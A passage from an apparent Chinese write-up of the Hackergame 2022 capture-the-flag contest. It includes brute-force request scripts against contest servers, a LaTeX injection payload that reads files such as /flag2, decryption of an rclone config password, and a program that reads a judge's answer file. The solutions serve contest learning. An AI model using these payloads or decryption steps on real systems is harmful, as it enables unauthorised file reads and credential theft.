喵"></p><p>答案是<code>Kdenlive</code>喵。</p></li><li><p>Firefox 浏览器能在 Windows 2000 下运行的最后一个大版本号是多少？</p><p>不知道喵。既然是自然数，那就可以使用<span class="exturl" data-url="aHR0cHM6Ly9ibG9nLnNray5tb2UvcG9zdC9oYWNrZXJnYW1lLTIwMjAtd3JpdGUtdXAvI01hby1NaS1XZW4tRGE=">苏卡卡的 CC 攻击大法<i class="fa fa-external-link-alt"></i></span>喵。</p><p>答案是<code>12</code>喵。</p></li><li><p>在 Linux 内核 master 分支（torvalds/linux.git）下，找出首个修复 PwnKit（CVE-2021-4034）的 commit 的 hash 喵！</p><p>在<a href="https://github.com/torvalds/linux/search?q=CVE-2021-4034&amp;type=commits">GitHub 上的 linux 镜像仓库中搜索<code>CVE-2021-4034</code></a>喵。</p><p>答案是<code>dcd46d897adb70d63e025f175a00a89797d31a43</code>喵。</p></li><li><p>会在终端显示 <code>ED25519 key fingerprint is MD5:e4:ff:65:d7:be:5d:c8:44:1d:89:6b:50:f5:50:a0:ce.</code> 的 ssh 服务器的域名（形如 <span class="exturl" data-url="aHR0cDovL2V4YW1wbGUuY29t">example.com<i class="fa fa-external-link-alt"></i></span> 的二级域名，答案中不同的字母有 6 个）？</p><p>带上引号在 Google 搜索<code>&quot;e4:ff:65:d7:be:5d:c8:44:1d:89:6b:50:f5:50:a0:ce.&quot;</code>喵。找到<span class="exturl" data-url="aHR0cHM6Ly9kb2NzLnplZWsub3JnL2VuL21hc3Rlci9sb2dzL3NzaC5odG1sI291dGJvdW5kLW1vdmVtZW50">这个结果<i class="fa fa-external-link-alt"></i></span>喵。可以知道服务器的 IP 地址是<code>205.166.94.16</code>喵。</p><p>试着查询一下<code>PTR</code>记录喵。</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">$ drill -x 205.166.94.16</span><br><span class="line">;; -&gt;&gt;HEADER&lt;&lt;- <span class="string">opcode: QUERY, rcode: NOERROR, id: 114514</span></span><br><span class="line"><span class="string">;; flags: qr aa rd ra ; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0</span></span><br><span class="line"><span class="string">;; QUESTION SECTION:</span></span><br><span class="line"><span class="string">;; 16.94.166.205.in-addr.arpa. IN PTR</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">;; ANSWER SECTION:</span></span><br><span class="line"><span class="string">16.94.166.205.in-addr.arpa. 172800 IN PTR sdf.org.</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">;; AUTHORITY SECTION:</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">;; ADDITIONAL SECTION:</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">;; Query time: 0 msec</span></span><br><span class="line"><span class="string">;; SERVER: 127.0.0.1</span></span><br><span class="line"><span class="string">;; WHEN: Wed Oct 23 11:45:14 2022</span></span><br><span class="line"><span class="string">;; MSG SIZE rcvd: 65</span></span><br></pre></td></tr></table></figure><p>答案是<code>sdf.org</code>喵。</p></li><li><p>中国科学技术大学可以出校访问国内国际网络的“网络通”定价为 20 元一个月是从哪一天正式实行的？</p><p>找到<span class="exturl" data-url="aHR0cHM6Ly9uZXRmZWUudXN0Yy5lZHUuY24vZmFxL2luZGV4Lmh0bWwjZmVl">这个结果<i class="fa fa-external-link-alt"></i></span>，但是并不正确喵。</p><p>使用<span class="exturl" data-url="aHR0cHM6Ly9ibG9nLnNray5tb2UvcG9zdC9oYWNrZXJnYW1lLTIwMjAtd3JpdGUtdXAvI01hby1NaS1XZW4tRGE=">苏卡卡的 CC 攻击大法<i class="fa fa-external-link-alt"></i></span>，得到答案<code>2003-03-01</code>喵。</p></li></ol><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">&#x27;token&#x27;</span>, <span class="string">&#x27;r&#x27;</span>) <span class="keyword">as</span> f:</span><br><span class="line">    token = f.read().strip()</span><br><span class="line">s = requests.Session()</span><br><span class="line">headers = &#123;&#125;  <span class="comment"># 省略喵</span></span><br><span class="line">host = <span class="string">&#x27;http://202.38.93.111:10002/&#x27;</span></span><br><span class="line">s.get(host, headers=headers, params=&#123;<span class="string">&#x27;token&#x27;</span>: token&#125;)</span><br><span class="line"><span class="keyword">for</span> year <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">2000</span>, <span class="number">2023</span>):</span><br><span class="line">    <span class="keyword">for</span> month <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1</span>, <span class="number">13</span>):</span><br><span class="line">        <span class="keyword">for</span> day <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1</span>, <span class="number">32</span>):</span><br><span class="line">            month = <span class="built_in">str</span>(month).zfill(<span class="number">2</span>)</span><br><span class="line">            day = <span class="built_in">str</span>(day).zfill(<span class="number">2</span>)</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">f&#x27;<span class="subst">&#123;year&#125;</span>-<span class="subst">&#123;month&#125;</span>-<span class="subst">&#123;day&#125;</span>&#x27;</span>)</span><br><span class="line">            data = &#123;</span><br><span class="line">                <span class="string">&#x27;q1&#x27;</span>: <span class="string">&#x27;2017-03&#x27;</span>,</span><br><span class="line">                <span class="string">&#x27;q2&#x27;</span>: <span class="string">&#x27;Kdenlive&#x27;</span>,</span><br><span class="line">                <span class="string">&#x27;q3&#x27;</span>: <span class="string">&#x27;12&#x27;</span>,</span><br><span class="line">                <span class="string">&#x27;q4&#x27;</span>: <span class="string">&#x27;dcd46d897adb70d63e025f175a00a89797d31a43&#x27;</span>,</span><br><span class="line">                <span class="string">&#x27;q5&#x27;</span>: <span class="string">&#x27;sdf.org&#x27;</span>,</span><br><span class="line">                <span class="string">&#x27;q6&#x27;</span>: <span class="string">f&#x27;<span class="subst">&#123;year&#125;</span>-<span class="subst">&#123;month&#125;</span>-<span class="subst">&#123;day&#125;</span>&#x27;</span>,</span><br><span class="line">            &#125;</span><br><span class="line">            resp = s.post(host, data=data, headers=headers)</span><br><span class="line">            <span class="keyword">if</span> <span class="string">&#x27;flag2&#x27;</span> <span class="keyword">in</span> resp.text:</span><br><span class="line">                <span class="built_in">print</span>(resp.text)</span><br><span class="line">                exit()</span><br></pre></td></tr></table></figure><h2 id="家目录里的秘密">家目录里的秘密</h2><h3 id="VS-Code-里的-flag">VS Code 里的 flag</h3><p>使用 VS Code 打开<code>user</code>目录，使用搜索（Ctrl+Shift+F）搜索<code>flag&#123;</code>。或者使用命令：</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">$ grep --recursive --line-number --regexp <span class="string">&#x27;flag&#123;&#x27;</span> user</span><br><span class="line">user/.config/Code/User/History/2f23f721/DUGV.c:5:// flag&#123;finding_everything_through_vscode_config_file_932rjdakd&#125;</span><br></pre></td></tr></table></figure><h3 id="Rclone-里的-flag">Rclone 里的 flag</h3><p>找到 rclone 配置文件 <code>user/.config/rclone/rclone.conf</code>。可以看到其中有<br><code>pass = tqqTq4tmQRDZ0sT_leJr7-WtCiHVXSMrVN49dWELPH1uce-5DPiuDtjBUN3EI38zvewgN5JaZqAirNnLlsQ</code>。</p><p>这个密码并不是明文，通过搜索可以找到：</p><ul><li><span class="exturl" data-url="aHR0cHM6Ly9yY2xvbmUub3JnL2NvbW1hbmRzL3JjbG9uZV9vYnNjdXJlLw==">rclone obscure 文档<i class="fa fa-external-link-alt"></i></span></li><li><span class="exturl" data-url="aHR0cHM6Ly9naXRodWIuY29tL3JjbG9uZS9yY2xvbmUvYmxvYi9tYXN0ZXIvZnMvY29uZmlnL29ic2N1cmUvb2JzY3VyZS5nbw==">rclone obscure 源码<i class="fa fa-external-link-alt"></i></span></li></ul><p>其中提到：在 rclone 配置文件中，明文密码通过<code>AES-CTR</code>对称加密与<code>base64</code>编码保存。这并不是一种安全的加密方式，因为 rclone 可以解密这些密码–这是为了防止偷窥。</p><p>通过源码第 17-22, 79-80 行，及<span class="exturl" data-url="aHR0cHM6Ly9wa2cuZ28uZGV2L2NyeXB0by9hZXMjcGtnLWNvbnN0YW50cw==">go aes 库的文档<i class="fa fa-external-link-alt"></i></span></p><blockquote><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">buf := ciphertext[aes.BlockSize:]</span><br><span class="line">iv := ciphertext[:aes.BlockSize]</span><br></pre></td></tr></table></figure></blockquote><p>可以知道<code>aes.BlockSize</code>是 16。前 16 字节是<code>iv</code>，后面的是<code>buf</code>，<br><code>cryptKey</code>是<code>9c935b48730a554d6bfd7c63c886a92bd390198eb8128afbf4de162b8b95f638</code>。</p><p>使用<span class="exturl" data-url="aHR0cHM6Ly9nY2hxLmdpdGh1Yi5pby9DeWJlckNoZWYv">CyberChef<i class="fa fa-external-link-alt"></i></span>，Recipe 使用<code>From_Base64('A-Za-z0-9-_',false,false)</code>和<code>To_Hex('None',16)</code>。可以得到：</p><ul><li>iv: <code>b6aa93ab8b664110d9d2c4ff95e26bef</code></li><li>buf: <code>e5ad0a21d55d232b54de3d75610b3c7d6e71efb90cf8ae0ed8c150ddc4237f33bdec2037925a66a022acd9cb96c4</code></li></ul><p>把 Recipe 改为 AES Decrypt，填入 Key 和 IV，Mode 为 <code>CTR</code>，在 Input 中填入刚才得到的<code>buf</code>，即可得到 flag。</p><p>速通解法：在 rclone 论坛上找到<span class="exturl" data-url="aHR0cHM6Ly9mb3J1bS5yY2xvbmUub3JnL3QvaG93LXRvLXJldHJpZXZlLWEtY3J5cHQtcGFzc3dvcmQtZnJvbS1hLWNvbmZpZy1maWxlLzIwMDUx">这个帖子<i class="fa fa-external-link-alt"></i></span>，其中有一个<span class="exturl" data-url="aHR0cHM6Ly9wbGF5LmdvbGFuZy5vcmcvcC9JY1JZRGlwM1BuRQ==">解密程序<i class="fa fa-external-link-alt"></i></span>，填入<code>pass</code>的内容运行即可。</p><h2 id="HeiLang">HeiLang</h2><p>根据题意：<code>A[x | y | z] = t</code> 等于 <code>A[x] = t; A[y] = t; A[z] = t</code>。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">heihei</span>(<span class="params">hei_key, hei_val</span>): <span class="comment"># 元素赋值，一次不限个，嘿嘿！</span></span><br><span class="line">    <span class="keyword">global</span> a</span><br><span class="line">    hei_key = <span class="built_in">map</span>(<span class="built_in">int</span>, hei_key.split(<span class="string">&#x27; | &#x27;</span>))</span><br><span class="line">    <span class="keyword">for</span> k <span class="keyword">in</span> hei_key:</span><br><span class="line">        a[k] = hei_val</span><br></pre></td></tr></table></figure><p>通过批量替换，使所有 HeiLang 语句调用这个函数。</p><h2 id="Xcaptcha">Xcaptcha</h2><p>通过这个验证码需要在 1 秒内计算三个加法。通过实验确定后端存在限时验证。</p><p>既然题目的验证码用于验证客户端是不是机器人在操作，那么使用机器人就能通过验证了。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">from</span> lxml <span class="keyword">import</span> etree</span><br><span class="line"></span><br><span class="line"><span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">&#x27;token&#x27;</span>, <span class="string">&#x27;r&#x27;</span>) <span class="keyword">as</span> f:</span><br><span class="line">    token = f.read().strip()</span><br><span class="line">s = requests.Session()</span><br><span class="line">headers = &#123;&#125;  <span class="comment"># 略</span></span><br><span class="line">host = <span class="string">&#x27;http://202.38.93.111:10047/&#x27;</span></span><br><span class="line">s.get(host, params=&#123;<span class="string">&#x27;token&#x27;</span>: token&#125;, headers=headers)</span><br><span class="line"></span><br><span class="line">resp = s.get(<span class="string">f&#x27;<span class="subst">&#123;host&#125;</span>xcaptcha&#x27;</span>, headers=headers)</span><br><span class="line">e = etree.HTML(resp.text)</span><br><span class="line">labels = e.xpath(<span class="string">&#x27;//form/div/label&#x27;</span>)</span><br><span class="line">questions = [x.text.replace(<span class="string">&#x27; 的结果是？&#x27;</span>, <span class="string">&#x27;&#x27;</span>) <span class="keyword">for</span> x <span class="keyword">in</span> labels]</span><br><span class="line"></span><br><span class="line">data = &#123;<span class="string">f&#x27;captcha<span class="subst">&#123;i+<span class="number">1</span>&#125;</span>&#x27;</span>: <span class="literal">None</span> <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">3</span>)&#125;</span><br><span class="line"><span class="keyword">for</span> i, question <span class="keyword">in</span> <span class="built_in">enumerate</span>(questions):</span><br><span class="line">    question = <span class="built_in">map</span>(<span class="built_in">int</span>, question.split(<span class="string">&#x27;+&#x27;</span>))</span><br><span class="line">    data[<span class="string">f&#x27;captcha<span class="subst">&#123;i+<span class="number">1</span>&#125;</span>&#x27;</span>] = <span class="built_in">sum</span>(question)</span><br><span class="line"></span><br><span class="line">resp = s.post(<span class="string">f&#x27;<span class="subst">&#123;host&#125;</span>xcaptcha&#x27;</span>, headers=headers, data=data)</span><br><span class="line"><span class="built_in">print</span>(resp.text)</span><br></pre></td></tr></table></figure><h2 id="旅行照片-2-0">旅行照片 2.0</h2><p><img data-src="https://cdn.jsdelivr.net/gh/Misaka13514/asset@main/blog/_posts/hackergame-2022-writeup/travel-photo-wiped-exif.jpg" alt="旅行照片2"></p><p>羡慕旅行（</p><h3 id="照片分析">照片分析</h3><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">$ exiftool travel-photo-2.jpg | grep -E <span class="string">&#x27;Exif Version |Make |Camera Model Name |ISO |Create Date |Flash &#x27;</span></span><br><span class="line">Make                            : Xiaomi</span><br><span class="line">Camera Model Name               : sm6115 (juice)</span><br><span class="line">ISO                             : 84</span><br><span class="line">Exif Version                    : 0231</span><br><span class="line">Create Date                     : 2022:05:14 18:23:35</span><br><span class="line">Flash                           : Off, Did not fire</span><br><span class="line">Create Date                     : 2022:05:14 18:23:35.220027+09:00</span><br></pre></td></tr></table></figure><ol><li>图片所包含的 EXIF 信息版本是多少？（如 2.1）。<br>2.31</li><li>拍照使用手机的品牌是什么？<br>小米 / 红米</li><li>该图片被拍摄时相机的感光度（ISO）是多少？（整数数字，如 3200）<br>84</li><li>照片拍摄日期是哪一天？（格式为年/月/日，如 2022/10/01。按拍摄地点当地日期计算。）<br>2022/05/14</li><li>照片拍摄时是否使用了闪光灯？<br>否</li></ol><h3 id="社工入门">社工入门</h3><p>将照片放大后可以看到以下字样：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">WELCOME TO ZOZOMARINE STADIUM 頂点を、つかむ。 CHIBA LOTTE MARINES 2022</span><br></pre></td></tr></table></figure><p><img data-src="https://cdn.jsdelivr.net/gh/Misaka13514/asset@main/blog/_posts/hackergame-2022-writeup/google-earth.png" alt="千叶海洋球场"></p><p>找到<span class="exturl" data-url="aHR0cHM6Ly96aC53aWtpcGVkaWEub3JnL3dpa2kvJUU1JThEJTgzJUU4JTkxJTg5JUU2JUI1JUI3JUU2JUI0JThCJUU3JTkwJTgzJUU1JUEwJUI0">千叶海洋球场<i class="fa fa-external-link-alt"></i></span>（<span class="exturl" data-url="aHR0cHM6Ly9lbi53aWtpcGVkaWEub3JnL3dpa2kvWk9aT19NYXJpbmVfU3RhZGl1bQ==">ZOZO Marine Stadium<i class="fa fa-external-link-alt"></i></span> <span class="exturl" data-url="aHR0cHM6Ly9qYS53aWtpcGVkaWEub3JnL3dpa2kvJUU1JThEJTgzJUU4JTkxJTg5JUUzJTgzJTlFJUUzJTgzJUFBJUUzJTgzJUIzJUUzJTgyJUI5JUUzJTgyJUJGJUUzJTgyJUI4JUUzJTgyJUEyJUUzJTgzJUEw">千葉マリンスタジアム<i class="fa fa-external-link-alt"></i></span>），邮政编码 2610021 。大城市的 Google Earth 3D 数据好棒（</p><p>通过刚才的<code>sm6115 (juice)</code>，找到手机可能是<code>Xiaomi POCO M3 / Redmi 9T nfc / Redmi 9 Power / Redmi note 9 4G</code>，分辨率 2340x1080。</p><p><img data-src="https://cdn.jsdelivr.net/gh/Misaka13514/asset@main/blog/_posts/hackergame-2022-writeup/google-map.png" alt="机场"></p><p>在地图上可以看到附近的机场有<ruby>羽<rt>はね</rt>田<rt>だ</rt></ruby>空港（HND/RJTT）和<ruby>成<rt>なり</rt>田<rt>た</rt></ruby>空港（NRT/RJAA）。</p><p>由于地图信息上球场附近写着羽田，于是猜测是羽田空港起飞。接下来的航班信息找不到了。 <s>（我又没有会员）</s></p><p><span class="exturl" data-url="aHR0cHM6Ly9ibG9nLnNray5tb2UvcG9zdC9oYWNrZXJnYW1lLTIwMjAtd3JpdGUtdXAvI01hby1NaS1XZW4tRGE=">苏卡卡 CC 攻击大法<i class="fa fa-external-link-alt"></i></span>，启动！（这是第三次了？？）</p><p>简单分析请求后，写出以下代码：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">from</span> base64 <span class="keyword">import</span> urlsafe_b64encode</span><br><span class="line">s = requests.Session()</span><br><span class="line">host = <span class="string">&quot;http://202.38.93.111:10055/&quot;</span></span><br><span class="line">jp_airports = [] <span class="comment"># 略</span></span><br><span class="line">abroad_airports = [] <span class="comment"># 略</span></span><br><span class="line"><span class="keyword">for</span> airport <span class="keyword">in</span> jp_airports:</span><br><span class="line">    <span class="keyword">for</span> company <span class="keyword">in</span> [<span class="string">&#x27;JL&#x27;</span>, <span class="string">&#x27;NH&#x27;</span>, <span class="string">&#x27;HD&#x27;</span>, <span class="string">&#x27;BC&#x27;</span>]:</span><br><span class="line">        <span class="keyword">for</span> flight <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1000</span>):</span><br><span class="line">            <span class="built_in">print</span>(airport, <span class="string">f&quot;<span class="subst">&#123;company&#125;</span><span class="subst">&#123;flight&#125;</span>&quot;</span>)</span><br><span class="line">            query = <span class="string">f&quot;1=2610021&amp;2=2340x1080&amp;3=HND&amp;4=<span class="subst">&#123;airport&#125;</span>&amp;5=<span class="subst">&#123;company&#125;</span><span class="subst">&#123;flight&#125;</span>&quot;</span></span><br><span class="line">            query_base64 = urlsafe_b64encode(</span><br><span class="line">                query.encode(<span class="string">&#x27;utf-8&#x27;</span>)).decode(<span class="string">&#x27;utf-8&#x27;</span>)</span><br><span class="line">            resp = s.get(<span class="string">f&quot;<span class="subst">&#123;host&#125;</span><span class="subst">&#123;query_base64&#125;</span>.txt&quot;</span>)</span><br><span class="line">            <span class="keyword">if</span> resp.status_code != <span class="number">404</span>:</span><br><span class="line">                <span class="built_in">print</span>(resp.text)</span><br><span class="line">                exit()</span><br></pre></td></tr></table></figure><p>还好是国内航班，且航班号数字是三位。最终得到降落机场为<code>HIJ</code>，航班号为<code>NH683</code>。</p><h2 id="猜数字">猜数字</h2><p>通过查看源码，发现要让 isTalented 的值为 1，就需要控制一次猜中的误差在<code>1e-6/2</code>以内。</p><p>没有发现办法可以让服务器忘记上一次我猜过的状态。多次尝试后， <s>我不猜了，</s> 猜测<code>NaN</code>，然后就拿到了 flag。</p><p><s>只要我猜测足够多次，就一定有一次是直接猜中的。此服务器幸免于难（x</s></p><h2 id="LaTeX-机器人">LaTeX 机器人</h2><h3 id="纯文本">纯文本</h3><p>找到<span class="exturl" data-url="aHR0cHM6Ly8wZGF5LndvcmsvaGFja2luZy13aXRoLWxhdGV4Lw==">Hacking with LaTeX<i class="fa fa-external-link-alt"></i></span>，提交<code>\input&#123;/flag1&#125;</code>，得到 flag。</p><h3 id="特殊字符混入">特殊字符混入</h3><p>通过阅读 <span class="exturl" data-url="aHR0cHM6Ly90ZXguc3RhY2tleGNoYW5nZS5jb20vcXVlc3Rpb25zLzMxOTU2OS9yZWFkaW5nLWZpbGVzLWNvbnRhaW5pbmctY2hhcmFjdGVycw==">Reading files containing # characters<i class="fa fa-external-link-alt"></i></span> 和 <span class="exturl" data-url="aHR0cHM6Ly90ZXguc3RhY2tleGNoYW5nZS5jb20vcXVlc3Rpb25zLzE0MjAwNi9yZWFkLXN0cmluZ3MtZnJvbS1maWxlLXRoYXQtY29udGFpbnMtdGhlLXNwZWNpYWwtY2hhcmFjdGVy">Read strings from file that contains the special character #<i class="fa fa-external-link-alt"></i></span>，找到可以使用 <span class="exturl" data-url="aHR0cHM6Ly9lbi53aWtpYm9va3Mub3JnL3dpa2kvVGVYL2NhdGNvZGU=">TeX/catcode<i class="fa fa-external-link-alt"></i></span>来控制 TeX 遇到特殊字符时的行为。</p><p>payload：</p><figure class="highlight latex"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">\newread</span><span class="keyword">\file</span></span><br><span class="line"><span class="keyword">\openin</span><span class="keyword">\file</span>=/flag2</span><br><span class="line"><span class="keyword">\catcode</span>`<span class="keyword">\#</span>=11</span><br><span class="line"><span class="keyword">\catcode</span>`<span class="keyword">\_</span>=11</span><br><span class="line"><span class="keyword">\read</span><span class="keyword">\file</span> to<span class="keyword">\line</span></span><br><span class="line"><span class="keyword">\line</span></span><br><span class="line"><span class="keyword">\closein</span><span class="keyword">\file</span></span><br></pre></td></tr></table></figure><h2 id="Flag-的痕迹">Flag 的痕迹</h2><p>页面的 Revisions 被关闭了，但是查看特定 rev 还是可以使用的。</p><p>使用 <span class="exturl" data-url="aHR0cHM6Ly9ibG9nLnNray5tb2UvcG9zdC9oYWNrZXJnYW1lLTIwMjAtd3JpdGUtdXAvI01hby1NaS1XZW4tRGE=">苏卡卡 CC 攻击大法<i class="fa fa-external-link-alt"></i></span>，通过找到特定 rev 来获取 flag。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line">headers = &#123;&#125; <span class="comment"># 略</span></span><br><span class="line">s = requests.Session()</span><br><span class="line">host = <span class="string">&quot;http://202.38.93.111:15004/&quot;</span></span><br><span class="line"><span class="keyword">for</span> rev <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1666396800</span>, <span class="number">1659244370</span>, -<span class="number">1</span>):</span><br><span class="line">    <span class="built_in">print</span>(rev)</span><br><span class="line">    resp = s.get(<span class="string">f&#x27;<span class="subst">&#123;host&#125;</span>doku.php?rev=<span class="subst">&#123;rev&#125;</span>&#x27;</span>,</span><br><span class="line">                 headers=headers)</span><br><span class="line">    <span class="keyword">if</span> <span class="string">&#x27;No such revision&#x27;</span> <span class="keyword">not</span> <span class="keyword">in</span> resp.text:</span><br><span class="line">        <span class="built_in">print</span>(resp.text)</span><br><span class="line">        exit()</span><br></pre></td></tr></table></figure><p>找到 rev 有 [1665224447, 1665224461, 1665224470]，其中 1665224461 有 flag。</p><p>救救服务器！另一种解法是使用比较功能（<code>do=diff</code>），可以直接得到 Revisions…</p><h2 id="安全的在线测评">安全的在线测评</h2><h3 id="无法-AC-的题目">无法 AC 的题目</h3><p>阅读判题脚本后可以发现，静态数据的输入在<code>data/static.in</code>中，输出在<code>data/static.out</code>中。写一个 C 程序，读取<code>data/static.out</code>并输出就可以 AC 了。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdlib.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">()</span> &#123;</span><br><span class="line">  FILE *fptr;</span><br><span class="line">  <span class="type">char</span> c;</span><br><span class="line">  fptr = fopen(<span class="string">&quot;./data/static.out&quot;</span>, <span class="string">&quot;r&quot;</span>);</span><br><span class="line">  <span class="keyword">if</span> (fptr == <span class="literal">NULL</span>) &#123;</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;Cannot open file \n&quot;</span>);</span><br><span class="line">    <span class="built_in">exit</span>(<span class="number">1</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  c = fgetc(fptr);</span><br><span class="line">  <span class="keyword">while</span> (c != EOF) &#123;</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;%c&quot;</span>, c);</span><br><span class="line">    c = fgetc(fptr);</span><br><span class="line">  &#125;</span><br><span class="line">  fclose(fptr);</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>动态数据因为读不到（<code>为什么会变成这样呢？有了 0700 权限的动态输入，有了 0700 权限的动态输出，两份快乐的事情重合在一起；而这两份快乐，又给我带来更多的快乐。得到的，本该是……</code>），不知道怎么 AC。</p><h2 id="线路板">线路板</h2><p>打开 Gerber 文件，略微调节，发现 flag。（我使用的是 KiCad Gerber Viewer）</p><p><img data-src="https://cdn.jsdelivr.net/gh/Misaka13514/asset@main/blog/_posts/hackergame-2022-writeup/gerber.png" alt="线路板"></p><h2 id="Flag-自动机">Flag 自动机</h2><p>运行 exe，发现“狠心夺取”按钮会避开鼠标，不让我点击。那么我使用触摸屏是不是就可以了呢？</p><p>很快啊，一个远程桌面配置，一个手机连接，发现可以点击到了。按传统功夫的“点”到为止它已经输了，应该给我 flag。</p><p><img data-src="https://cdn.jsdelivr.net/gh/Misaka13514/asset@main/blog/_posts/hackergame-2022-writeup/flag-machine.png" alt="Flag 自动机"></p><p>我关远程桌面的时间不点了，它突然告诉我“您不是本机的超级管理员”（我在使用 Administrator 账户）。我大意了啊，没有逆向改它函数。这个 flag 自动机不讲武德，我劝它好自为之，好好反思，以后不要再犯这样的小聪明。</p><p>后续通过逆向并 Patch Program 得到 flag。 <s>不会 binary 题，调了好几个小时</s></p><h2 id="微积分计算小练习">微积分计算小练习</h2><p>打开练习网站，发现有 5 道微积分计算题。 <s>那么就先把它们都做出来吧</s></p><p>代码使用 <span class="exturl" data-url="aHR0cHM6Ly93d3cuc2FnZW1hdGgub3JnLw==">SageMath<i class="fa fa-external-link-alt"></i></span>，题目要求四舍五入，保留一位小数，可以使用<code>round</code>函数。（不想做题可以跳过此部分）</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">from sage.symbolic.integration.integral import definite_integral    # 导入定积分函数</span><br><span class="line">definite_integral(1/(x**2+1),x,0,1)                                 # 第一题</span><br><span class="line">lim(sin(x)/x,x=0)                                                   # 第二题</span><br><span class="line">definite_integral(e**(-2*x**2),x,-oo,oo)                            # 